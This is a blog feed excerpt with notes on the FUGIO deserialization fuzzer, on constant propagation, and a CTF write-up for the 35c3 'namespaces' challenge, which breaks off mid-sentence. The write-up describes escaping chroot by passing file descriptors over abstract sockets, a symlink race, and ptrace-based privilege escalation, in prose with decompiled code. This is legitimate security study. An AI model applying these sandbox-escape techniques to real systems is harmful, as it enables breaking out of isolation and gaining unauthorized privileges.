class="keyword">$this</span>->MakeAddPropSeeds($copied_seed);</span><br><span class="line"> <span class="keyword">if</span> ($added_prop_seeds != <span class="keyword">false</span>) {</span><br><span class="line"> <span class="keyword">foreach</span> ($added_prop_seeds <span class="keyword">as</span> $added_prop_seed) {</span><br><span class="line"> $new_added_seed = <span class="keyword">new</span> SeedNode();</span><br><span class="line"> $new_added_seed->template_tree = $added_prop_seed;</span><br><span class="line"> $new_added_seed->input_tree = $payload_creator->SetMutateProperties(</span><br><span class="line"> $new_added_seed->template_tree,</span><br><span class="line"> <span class="keyword">$this</span>->file_chain, <span class="keyword">$this</span>->gadget,</span><br><span class="line"> <span class="keyword">$this</span>->cand_class, <span class="keyword">$this</span>->cand_foreach,</span><br><span class="line"> <span class="keyword">$this</span>->hinting_infos,</span><br><span class="line"> $new_added_seed->array_hinting,</span><br><span class="line"> $copied_seed->array_object</span><br><span class="line"> );</span><br><span class="line"> $new_added_seed->goal_depth = $copied_seed->depth + <span class="number">1</span>;</span><br><span class="line"> $new_added_seed->depth = $copied_seed->depth;</span><br><span class="line"> $new_added_seed->select_count = <span class="number">0</span>;</span><br><span class="line"> $new_added_seed->seed_idx = <span class="keyword">$this</span>->seed_pool->seed_idx;</span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->seed_idx += <span class="number">1</span>;</span><br><span class="line"> <span class="comment">// Duplicate check [TODO - NEED TO TEST]</span></span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->AddSeed($selected_seed, $new_added_seed, <span class="keyword">True</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><blockquote><p>Furthermore, the fuzzer observes reference errors in the<br>invocation of a method call leveraging a receiver (e.g., $receiver->method()). When an observed error is due to a missing property or an incorrect object in the receiver, the fuzzer appends the missing property node in the tree of the current input or assigns an Object with a value chosen from among the classes that have the target method call name<br>(Lines 22–24).</p></blockquote><p>虽然论文里说missing property or an incorrect object in the receiver,但代码中似乎只有后一种情况的处理,也不太知道啥情况能触发这个,正常情况下都会挑选有该方法的对象吧。</p><h1 id="Exploit-oracle"><a href="#Exploit-oracle" class="headerlink" title="Exploit oracle"></a>Exploit oracle</h1><p>有空再写</p>]]></content>
<summary type="html">
<p>论文:<a href="https://www.usenix.org/conference/usenixsecurity22/presentation/park-sunnyeo" target="_blank" rel="noopener">FUGIO: Automatic
</summary>
<category term="web安全" scheme="https://liotree.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="反序列化" scheme="https://liotree.github.io/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
<category term="paper-reading" scheme="https://liotree.github.io/tags/paper-reading/"/>
<category term="fuzzing" scheme="https://liotree.github.io/tags/fuzzing/"/>
</entry>
<entry>
<title>Sparse Conditional Constant Propagation</title>
<link href="https://liotree.github.io/2023/07/09/Sparse-Conditional-Constant-Propagation/"/>
<id>https://liotree.github.io/2023/07/09/Sparse-Conditional-Constant-Propagation/</id>
<published>2023-07-09T14:41:49.000Z</published>
<updated>2023-08-22T13:42:50.427Z</updated>
<content type="html"><![CDATA[<p>Here are some notes on learning this algorithm, to practice my English writing skills I write them in English.</p><p>This algorithm is not a fixed point iteration method, actually it is a symbolic execution technique rather than a dataflow analysis approach. So it took me a lot of time to understand it.</p><p>The Pseudocode of this algorithm is in <a href="https://piazza.com/class_profile/get_resource/hzkq9i9o1ec222/i0iiojubk971th" target="_blank" rel="noopener">CS 426 Topic 5: SSA and the SSA Construction Algorithm</a>. It closely resembles the algorithm described in the original paper <em>Constant Propagation with Conditional Branches</em>.</p><p><img src="/images/SCCP1.png" alt=""></p><p><img src="/images/SCCP2.png" alt=""></p><p>Here are some of the questions I have pondered: </p><h3 id="What-are-the-meanings-of-FlowWL-and-SSAWL"><a href="#What-are-the-meanings-of-FlowWL-and-SSAWL" class="headerlink" title="What are the meanings of FlowWL and SSAWL?"></a>What are the meanings of <code>FlowWL</code> and <code>SSAWL</code>?</h3><p><code>FlowWL</code> simply adds all SSA edges to <code>SSAWL</code>, and that’s why every flow edge within it is only be executed once.</p><p><code>SSAWL</code> means updating the constant information once a change is detected in a variable’s lattice. Due to the properties of SSA , there is no need for two separate product lattices(<code>INPUT</code> and <code>OUTPUT</code>) for each instruction. Instead, we only require a single lattice for each variable.</p><h3 id="When-dealing-with-unexecuted-flow-edges-why-does-this-algorithm-only-invoke-VisitInst-E-gt-sink-during-the-initial-visit-to-E-gt-sink-via-flow-edges-whereas-it-calls-VisitPhi-φ-∀-φ-∈-E-gt-sink-every-time"><a href="#When-dealing-with-unexecuted-flow-edges-why-does-this-algorithm-only-invoke-VisitInst-E-gt-sink-during-the-initial-visit-to-E-gt-sink-via-flow-edges-whereas-it-calls-VisitPhi-φ-∀-φ-∈-E-gt-sink-every-time" class="headerlink" title="When dealing with unexecuted flow edges, why does this algorithm only invoke VisitInst(E->sink) during the initial visit to E->sink via flow edges, whereas it calls VisitPhi(φ) ∀ φ ∈ E->sink every time?"></a>When dealing with unexecuted flow edges, why does this algorithm only invoke <code>VisitInst(E->sink)</code> during the initial visit to <code>E->sink</code> via flow edges, whereas it calls <code>VisitPhi(φ) ∀ φ ∈ E->sink</code> every time?</h3><p><img src="/images/SCCP3.png" alt=""></p><p>considering such a situation:</p><p><img src="/images/SCCP4.png" alt=""></p><p>When this algorithm handles flow edge 2, there is no need to reconsider <code>b = c</code> again since it is impossible to observe any new changes(This is ensured by the feature of SSA). However, <code>a3 = phi(a1, a2)</code> needs to be reevaluated because of the impact of <code>a2</code>.</p><h3 id="Why-this-algorithm-need-this-statement"><a href="#Why-this-algorithm-need-this-statement" class="headerlink" title="Why this algorithm need this statement?"></a>Why this algorithm need this statement?</h3><p><img src="/images/SCCP5.png" alt=""></p><p>One thing that needs to be noted is that the algorithm presented in this slide assumes that every basic block has only one instruction for convenience, which implies that all instructions, except for conditional branches, behave as if they were unconditional branches. This statement fetches the next instruction in the case of all instructions except conditional branches.</p><p>However, if this algorithm is designed to work in typical situations, it can be replaced by an iteration over the instructions within a basic block and a special process of unconditional branches in <code>visitInst</code>.</p><p>Actually the original paper does not explicitly mention “basic blocks”. Instead, it discusses a flow graph consisting of individual statements. This topic is further explained in section 12.6 of the book <em>Advanced Compiler Design and Implementation</em>. </p><p><img src="/images/SCCP6.png" alt=""></p><p><img src="/images/SCCP7.png" alt=""></p>]]></content>
<summary type="html">
<p>Here are some notes on learning this algorithm, to practice my English writing skills I write them in English.</p>
<p>This algorithm is n
</summary>
<category term="软件分析" scheme="https://liotree.github.io/tags/%E8%BD%AF%E4%BB%B6%E5%88%86%E6%9E%90/"/>
</entry>
<entry>
<title>35c3ctf Pwn namespaces</title>
<link href="https://liotree.github.io/2022/08/12/35c3ctf-Pwn-namespaces/"/>
<id>https://liotree.github.io/2022/08/12/35c3ctf-Pwn-namespaces/</id>
<published>2022-08-12T13:41:10.000Z</published>
<updated>2022-08-20T15:16:25.203Z</updated>
<content type="html"><![CDATA[<p>2021过的很魔幻,所以就没再写过博客,可惜2022更魔幻</p><h1 id="逆向"><a href="#逆向" class="headerlink" title="逆向"></a>逆向</h1><p>题目给出了Dockerfile,里面用nsjail启动了二进制文件namespaces</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> tsuro/nsjail</span><br><span class="line"><span class="keyword">COPY</span><span class="bash"> ./namespaces /home/user/chal</span></span><br><span class="line"><span class="keyword">COPY</span><span class="bash"> ./flag /flag</span></span><br><span class="line"><span class="keyword">CMD</span><span class="bash"> /bin/sh -c <span class="string">"/usr/bin/setup_cgroups.sh && cp /flag /tmp/flag && chmod 400 /tmp/flag && chown user /tmp/flag && su user -c '/usr/bin/nsjail -Ml --port 1337 --chroot / -R /tmp/flag:/flag -T /tmp --proc_rw -U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1 --keep_caps --cgroup_mem_max 209715200 --cgroup_pids_max 100 --cgroup_cpu_ms_per_sec 100 --rlimit_as max --rlimit_cpu max --rlimit_nofile max --rlimit_nproc max -- /usr/bin/stdbuf -i0 -o0 -e0 /usr/bin/maybe_pow.sh /home/user/chal'"</span></span></span><br></pre></td></tr></table></figure><p>nsjail也是一个基于linux namespaces的进程隔离工具,其参数值得注意的是:</p><ul><li><p><code>-R /tmp/flag:/flag -T /tmp</code>,将<code>/tmp/flag</code> <code>bind mount</code>到了<code>/flag</code>,并重新挂在了一个<code>/tmp</code>,实际上效果就是在nsjail中只有<code>/flag</code>,并且权限为<code>/tmp/flag</code>的400</p></li><li><p><code>-U 0:1000:1 -U 1:100000:1 -G 0:1000:1 -G 1:100000:1</code>,将docker的1000号用户(user)映射为了nsjail中的0号用户(root),将docker中的10000号用户(nobody)映射为了nsjail中的1号用户(nobody),用户组也是类似</p></li></ul><p>而二进制文件namespaces实际上也是一个基于namespaces机制的沙盒,也是题目中需要逃逸的沙盒。所以这题实际上用namespaces套了三层…</p><p>逆向namespaces可以发现它的功能与docker有些类似,包括两个功能:</p><h2 id="start-sandbox,类似于docker-run"><a href="#start-sandbox,类似于docker-run" class="headerlink" title="start_sandbox,类似于docker run"></a><code>start_sandbox</code>,类似于<code>docker run</code></h2><ul><li>在<code>sandboxes</code>中查找空位,最多能够10个沙盒</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">new_sandbox = <span class="number">0L</span>L;</span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; i <= <span class="number">9</span>; ++i )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( !sandboxes[i] )</span><br><span class="line"> {</span><br><span class="line"> new_sandbox = &sandboxes[i];</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( !new_sandbox )</span><br><span class="line"> errx(<span class="number">1</span>, <span class="string">"too many sandboxes"</span>);</span><br></pre></td></tr></table></figure><ul><li>创建了一个本地socket,供之后处于不同namespaces的父进程和子进程通信使用</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">socket = socketpair(<span class="number">1</span>, <span class="number">1</span>, <span class="number">0</span>, fds); <span class="comment">//AF_UNIX,SOCK_STREAM</span></span><br><span class="line">check(socket, <span class="string">"socketpair"</span>);</span><br></pre></td></tr></table></figure><ul><li><p>使用<code>clone</code>创建一个子进程,子进程将处于新的<code>mnt</code> <code>cgroup</code> <code>uts</code> <code>ipc</code> <code>user</code> <code>pid</code> <code>net</code> namespace中</p><ul><li><p><code>mnt namespaces</code>,<code>mount</code>的结果不会影响其他<code>mnt namespaces</code>中的进程</p></li><li><p><code>cgroup namespaces</code>,<code>cgroup</code>用于限制进程对cpu等系统资源的使用</p></li><li><p><code>uts namespaces</code>,隔离<code>hostname</code>和<code>NIS</code>域名</p></li><li><p><code>ipc namespaces</code>,隔离消息队列、信号量和共享内存3钟进程间通信的方式,并不会限制其他的ipc通信</p></li><li><p><code>user namespaces</code>,同一个用户在不同的<code>user namespaces</code>中可以对应不同的uid,一个<code>user namespaces</code>中的普通用户甚至可以是另一个<code>user namespaces</code>中的<code>root</code>用户。此外,新建或加入一个<code>user namespaces</code>时,无论新的<code>uid</code>是多少,能够在这个<code>user namespaces</code>中获取到全部的capabilities,不过需要注意如果<code>uid</code>不为0的话执行<code>execve</code>等函数后capabilities会全部丢失掉,后面会详细介绍capabilities</p></li><li><p><code>pid namespaces</code>,隔离进程的pid,创建新的<code>pid namespaces</code>后,外层的<code>pid namespaces</code>可以看到里面的进程,而里面的进程无法看到外面的进程</p></li><li><p><code>net namespaces</code>,隔离网络相关的资源,比如ip协议栈、路由表等等,此外它还会隔离unix域的<code>abstract socket</code>,这点在后面也会用到</p></li></ul></li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pid = new_proc();</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 <span class="title">new_proc</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __int64 v1; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v1 = syscall(<span class="number">56L</span>L, <span class="number">0x7E020000</span>LL, <span class="number">0L</span>L, <span class="number">0L</span>L, <span class="number">0L</span>L, <span class="number">0L</span>L); <span class="comment">//clone syscall,0x7E020000=CLONE_NEWNS|CLONE_NEWCGROUP|CLONE_NEWUTS|CLONE_NEWIPC|CLONE_NEWUSER|CLONE_NEWPID|CLONE_NEWNET</span></span><br><span class="line"> <span class="keyword">if</span> ( v1 == <span class="number">-1</span> )</span><br><span class="line"> errx(<span class="number">1</span>, <span class="string">"clone"</span>);</span><br><span class="line"> <span class="keyword">return</span> v1;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>父进程禁止子进程调用<code>setgroups</code>,并且将nsjail中的1号用户和1号用户组(也就是docket中的10000号用户)映射为子进程的1号用户和1号用户组</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">close</span>(fds[<span class="number">1</span>]); <span class="comment">// 父进程</span></span><br><span class="line">wait_for((<span class="keyword">unsigned</span> <span class="keyword">int</span>)fds[<span class="number">0</span>], <span class="string">"1"</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"[*] setgroups deny"</span>);</span><br><span class="line">write_proc(pid, <span class="string">"setgroups"</span>, <span class="string">"deny"</span>); <span class="comment">// 子进程禁止调用setgroups</span></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"[*] writing uid_map"</span>);</span><br><span class="line">write_proc(pid, <span class="string">"uid_map"</span>, <span class="string">"1 1 1"</span>); <span class="comment">// docker:user(1000) -> nsjail:root(0)</span></span><br><span class="line"> <span class="comment">// docker:nobody(10000) -> nsjail:nobody(1)</span></span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"[*] writing gid_map"</span>);</span><br><span class="line">write_proc(pid, <span class="string">"gid_map"</span>, <span class="string">"1 1 1"</span>);</span><br><span class="line"><span class="built_in">write</span>(fds[<span class="number">0</span>], <span class="string">"2"</span>, <span class="number">2u</span>LL);</span><br><span class="line">wait_for((<span class="keyword">unsigned</span> <span class="keyword">int</span>)fds[<span class="number">0</span>], <span class="string">"3"</span>);</span><br><span class="line"><span class="built_in">close</span>(fds[<span class="number">0</span>]);</span><br></pre></td></tr></table></figure><ul><li>子进程<code>chroot</code>至沙盒目录并<code>chdir</code>过去,使用<code>setresgid</code>和<code>setresuid</code>降权至1号用户和用户组(nsjail中的1号用户,docker中的10000号用户),最后<code>execveat</code>执行用户提交的elf文件,正如同<code>docker run</code>一样,<code>execveat</code>执行的elf一旦退出子进程就会结束</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">snprintf</span>(s, <span class="number">0x1000</span>uLL, <span class="string">"/tmp/chroots/%ld"</span>, new_sandbox - sandboxes);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Creating chroot dir \"%s\"\n"</span>, s);</span><br><span class="line">mk_chroot_dir(s);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] Chrooting to \"%s\"\n"</span>, s);</span><br><span class="line">v1 = chroot(s); <span class="comment">// chroot并切换目录</span></span><br><span class="line">check(v1, <span class="string">"chroot"</span>);</span><br><span class="line">v2 = chdir(<span class="string">"/"</span>);</span><br><span class="line">check(v2, <span class="string">"chdir"</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"[*] changing group ids"</span>);</span><br><span class="line">v3 = setresgid(<span class="number">1u</span>, <span class="number">1u</span>, <span class="number">1u</span>); <span class="comment">// 降权到1,也就是nobody</span></span><br><span class="line">check(v3, <span class="string">"setresgid"</span>);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"[*] changing user ids"</span>);</span><br><span class="line">v4 = setresuid(<span class="number">1u</span>, <span class="number">1u</span>, <span class="number">1u</span>);</span><br><span class="line">check(v4, <span class="string">"setresuid"</span>);</span><br><span class="line"><span class="built_in">write</span>(fds[<span class="number">1</span>], <span class="string">"3"</span>, <span class="number">3u</span>LL);</span><br><span class="line"><span class="built_in">close</span>(fds[<span class="number">1</span>]);</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">"[*] starting init"</span>);</span><br><span class="line">v11[<span class="number">0</span>] = (__int64)<span class="string">"init"</span>;</span><br><span class="line">v11[<span class="number">1</span>] = <span class="number">0L</span>L;</span><br><span class="line">execveat(v8, &unk_210F, v11, <span class="number">0L</span>L, <span class="number">4096L</span>L);</span><br><span class="line">_exit(<span class="number">1</span>);</span><br></pre></td></tr></table></figure><h2 id="run-elf,类似于docker-exec"><a href="#run-elf,类似于docker-exec" class="headerlink" title="run_elf,类似于docker exec"></a><code>run_elf</code>,类似于<code>docker exec</code></h2><ul><li><p>加入到对应沙盒的namespaces中</p><ul><li><p>一个进程的namespaces位于<code>/proc/pid/ns/</code>中,其他进程可以通过<code>setns</code>加入到该进程的namespaces中去</p></li><li><p><code>pid</code> namespaces需要<code>fork</code>出子进程才能真正加入</p></li><li><p>可以发现这里没有加入<code>net</code> namespaces</p></li></ul></li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.data:<span class="number">0000000000203020</span> NSS dq offset aUser ; DATA XREF: change_ns+<span class="number">5</span>E↑o</span><br><span class="line">.data:<span class="number">0000000000203020</span> ; change_ns+F7↑o</span><br><span class="line">.data:<span class="number">0000000000203020</span> ; <span class="string">"user"</span></span><br><span class="line">.data:<span class="number">0000000000203028</span> dq offset aMnt ; <span class="string">"mnt"</span></span><br><span class="line">.data:<span class="number">0000000000203030</span> dq offset s2 ; <span class="string">"pid"</span></span><br><span class="line">.data:<span class="number">0000000000203038</span> dq offset aUts ; <span class="string">"uts"</span></span><br><span class="line">.data:<span class="number">0000000000203040</span> dq offset aIpc ; <span class="string">"ipc"</span></span><br><span class="line">.data:<span class="number">0000000000203048</span> dq offset aCgroup ; <span class="string">"cgroup"</span></span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">"[*] entering namespaces of pid %d\n"</span>, pid);</span><br><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; i <= <span class="number">5</span>; ++i )</span><br><span class="line">{</span><br><span class="line"> <span class="built_in">snprintf</span>(s, <span class="number">0x1000</span>uLL, <span class="string">"/proc/%d/ns/%s"</span>, pid, (&NSS)[i]);</span><br><span class="line"> v2 = <span class="built_in">open</span>(s, <span class="number">0</span>);</span><br><span class="line"> fd = check(v2, <span class="string">"open(ns)"</span>);</span><br><span class="line"> v3 = setns(fd, <span class="number">0</span>);</span><br><span class="line"> check(v3, <span class="string">"setns"</span>);</span><br><span class="line"> <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>((&NSS)[i], <span class="string">"pid"</span>) )</span><br><span class="line"> {</span><br><span class="line"> v4 = fork();</span><br><span class="line"> <span class="keyword">if</span> ( check(v4, <span class="string">"fork"</span>) )</span><br><span class="line"> _exit(<span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">close</span>(fd);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>和<code>start_sandbox</code>一样,<code>chroot</code>并且降权</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">snprintf</span>(s, <span class="number">0x1000</span>uLL, <span class="string">"/tmp/chroots/%d"</span>, a2);</span><br><span class="line">v5 = chroot(s); <span class="comment">// chroot并切换目录</span></span><br><span class="line">check(v5, <span class="string">"chroot"</span>);</span><br><span class="line">v6 = chdir(<span class="string">"/"</span>);</span><br><span class="line">check(v6, <span class="string">"chdir"</span>);</span><br><span class="line">v7 = setresgid(<span class="number">1u</span>, <span class="number">1u</span>, <span class="number">1u</span>); <span class="comment">// 降权</span></span><br><span class="line">check(v7, <span class="string">"setresgid"</span>);</span><br><span class="line">v8 = setresuid(<span class="number">1u</span>, <span class="number">1u</span>, <span class="number">1u</span>);</span><br><span class="line">check(v8, <span class="string">"setresuid"</span>);</span><br></pre></td></tr></table></figure><ul><li>执行用户提交的elf</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">execveat(fd, &unk_210F, v5, <span class="number">0L</span>L, <span class="number">4096L</span>L);</span><br></pre></td></tr></table></figure><h1 id="chroot逃逸"><a href="#chroot逃逸" class="headerlink" title="chroot逃逸"></a>chroot逃逸</h1><p><code>chroot</code>本身就不是一个很安全的机制,如同<a href="https://docs.google.com/presentation/d/1AWl9Gko_L1kDLBtrTFB3EohQU4vQjykpQE5dm9uxYi0/edit#slide=id.g8c3f643841_0_0" target="_blank" rel="noopener">pwn.college</a>中总结的那样,一个进程在<code>chroot</code>某个目录<code>xx</code>后会有两个效果:</p><ul><li><p>将所有的<code>/</code>重定向为<code>xx</code></p></li><li><p>将所有的<code>xx/../</code>重定向为<code>xx</code></p></li></ul><p>并且<code>chroot</code>只会影响路径,并不会影响已经打开的文件描述符,通过<code>openat</code>等基于已有文件描述符进行相对路径寻址的系统调用即可从<code>chroot</code>中逃逸。因此可以想到利用进程间的通信来传递文件描述符,通过别的沙箱的文件描述符来逃逸<code>chroot</code></p><p>Linux中的进程间通信方法有很多,但似乎只有<code>socket</code>能传递文件描述符,在 <a href="https://man7.org/linux/man-pages/man7/unix.7.html" target="_blank" rel="noopener">https://man7.org/linux/man-pages/man7/unix.7.html</a> 可以看到本地通信的<code>socket</code>可以分为3种:</p><ul><li><p><code>pathname</code>,指的是用<code>bind</code>将<code>socket</code>绑定到一个具体的文件名上去,这里因为<code>chroot</code>的限制无法使用</p></li><li><p><code>unnamed</code>,没有用<code>bind</code>绑定的<code>stream socket</code>都是<code>unnamed</code>的,上面<code>socketpair</code>创建的也是。在这种两个进程分别创建<code>socket</code>的情况下是当作客户端去使用</p></li><li><p><code>abstract</code>,用<code>bind</code>将<code>socket</code>绑定到一个与文件系统无关的名字上去,由<code>net namespaces</code>进行隔离</p></li></ul><p>而在<code>run_elf</code>中,并没有加入到新的<code>net namespaces</code>中去,也就是所有的<code>run_elf</code>进程使用了同一个<code>net namespaces</code>,因此我们可以在两个<code>run_elf</code>进程a和b中分别开启一个<code>abstract socket</code>和<code>unnamed socket</code>,并将b中打开的文件描述符传递给a,a即可通过这个文件描述符逃逸出<code>chroot</code></p><h1 id="提权"><a href="#提权" class="headerlink" title="提权"></a>提权</h1><p>不过逃逸出<code>chroot</code>仍然读不到flag,<code>/flag</code>只有docker中的user用户,也就是nsjail中的root用户才能读到,而无论是<code>start_sandbox</code>还是<code>run_elf</code>在执行用户提交的elf前都进行了降权操作</p><p>这里的攻击思路非常巧妙,问题还是出在<code>run_elf</code>加入沙盒<code>namespaces</code>的过程。<code>run_elf</code>在加入了<code>/proc/xxx/pid</code>后会立刻<code>fork</code>出子进程从而真正加入<code>pid namespaces</code>,在加入了所有的命名空间后才进行了降权操作。而在加入<code>pid namespaces</code>的时候,<code>start_sandbox</code>中的进程就已经能够观察到未降权的<code>run_elf</code>进程,此时如果能在<code>run_elf</code>进程降权之前用<code>ptrace</code>控制<code>run_elf</code>中的进程,就能够以nsjail中root用户的身份去读取<code>/flag</code></p><p>接下来的问题就是如何才能在<code>start_sandbox</code>进程中拥有<code>ptrace</code>的权限, 这里先要了解下Linux的capabilities机制。</p><p>在过去Linux中我们可以通过<code>sudo</code>或<code>suid</code>机制来让普通用户以root权限执行文件,而这两种方式都会使普通用户获取到完整的root权限,很显然这是极不安全的。因此Linux在内核2.2后引入了capabilities机制,对root的权限进行了更加细粒度的划分,例如nginx需要监听端口,那么只需要给nginx可执行文件赋予<code>CAP_NET_BIND_SERVICE</code>这一项capability,使其能够以普通用户的身份监听端口。</p><p>具体capabilities机制比较复杂,可以看看文档或相关的文章,这里只需要知道:</p><ul><li><p>root用户拥有所有的capabilities,普通用户默认状态下没有capabilities</p></li><li><p>在一个进程创建或加入新的<code>user namespaces</code>时,无论新的<code>uid</code>是多少,都会拥有全部的capabilities,也就是该用户被视为了新的<code>user namespaces</code>中的root用户。</p><ul><li>新的<code>user namespaces</code>中的root用户还是会受到一些限制。比如正常情况下root用户可以无视权限读取任何文件,这是因为其具有<code>CAP_DAC_READ_SEARCH</code>,可以绕过文件权限的检查。而新建<code>user namespaces</code>后的root用户只能够随意读取uid和gid都被映射到了该<code>user namespaces</code>中的文件</li></ul></li><li><p>新的<code>user namespaces</code>在执行<code>execve</code>后如果<code>uid</code>不为0并且执行的文件不具有可继承的capabilities,那么capabilities会被清空。也正因为如此,题目中的<code>start_sandbox</code>和<code>run_elf</code>在使用<code>execve</code>执行用户输入的elf后将不具有任何的capabilities。</p></li><li><p>新建<code>namespaces</code>本身不需要任何的capabilities,因此如果我们可以新建<code>user namespaces</code>,我们就能再次获取所有的capabilities,也就能够进行<code>ptrace</code>等操作</p></li></ul><p>然而,<code>chroot</code>后的进程无法新建<code>user namespaces</code>。这点我没有在相关文档中找到说明,但比较好理解,因为新建<code>user namespaces</code>会使<code>chroot</code>中的进程能够再次<code>chroot</code>(通过<code>CAP_SYS_CHROOT</code>),而嵌套<code>chroot</code>是一项常用的<code>chroot</code>逃逸手段。</p><p>因此,我们不仅需要逃逸出<code>chroot</code>访问其他文件,还需要整个<code>run_elf</code>中的进程逃逸出<code>chroot</code>。这里可以利用沙盒所处文件夹<code>/tmp/chroots</code>宽松的777权限,通过条件竞争做到,方案如下:</p><ul><li><p>打开两个沙盒a和b,通过上面传递文件描述符的方式逃逸出<code>chroot</code>,沙盒a获得访问<code>chroot</code>外文件的权限</p></li><li><p>沙盒a循环监控<code>/tmp/chroots/c</code>是否存在,一旦存在则将其删除,并新建指向<code>/</code>的链接<code>/tmp/chroots/c</code></p></li><li><p>创建c沙盒,当cpu的调度顺序为以下顺序时,就能够使c沙盒chroot到<code>/</code>中去,从而使c沙盒进程逃逸出<code>chroot</code></p><ul><li><p>c沙盒<code>start_sandbox</code>创建<code>/tmp/chroots/c</code></p></li><li><p>a沙盒中的进程检测到<code>/tmp/chroots/c</code>,将其替换为软链接</p></li><li><p>c沙盒<code>chroot</code>到<code>/tmp/chroots/c</code></p></li></ul></li></ul><p>在条件竞争成功后,理论上我们只需要新建一个<code>user namespaces</code>,让<code>run_elf</code>进程加入进来就可以<code>ptrace</code>了。但这有个问题是<code>run_elf</code>进程在加入了新的<code>user namespaces</code>后就无法再加入到原有的<code>pid namespaces</code>了,原因应该是<a href="https://man7.org/linux/man-pages/man2/setns.2.html" target="_blank" rel="noopener">setns文档</a>中说的(这里的逻辑关系我也没太搞清楚,不过写个demo实验下这种情况确实无法加入进去):</p><blockquote><p>In order to reassociate itself with a new PID namespace,the caller must have the CAP_SYS_ADMIN capability both in its own user namespace and in the user namespace that owns the target PID namespace.</p></blockquote><p>而不加入<code>pid namespaces</code>的话<code>start_sandbox</code>进程是无法看到<code>run_elf</code>进程的,因此还需要<code>start_sandbox</code>进程新建一个<code>pid namespaces</code>,可是新建了<code>pid namespaces</code>后又需要<code>fork</code>一个子进程才能真正进入,并且<code>pid 